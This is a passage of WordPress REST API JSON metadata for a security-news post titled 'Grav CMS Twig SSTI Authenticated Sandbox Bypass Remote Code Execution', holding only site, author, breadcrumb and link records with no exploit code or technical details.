Sandbox Bypass Remote Code Execution_PACKETSTORM:212777","datePublished":"2025-12-12T11:58:38+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30769"},"wordCount":2090,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.6","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30769#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30769","url":"https:\/\/zero.redgem.net\/?p=30769","name":"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-12T11:58:38+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30769#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30769"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30769#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution_PACKETSTORM:212777"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30769","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30769"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30769\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30769"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30769"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30769"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}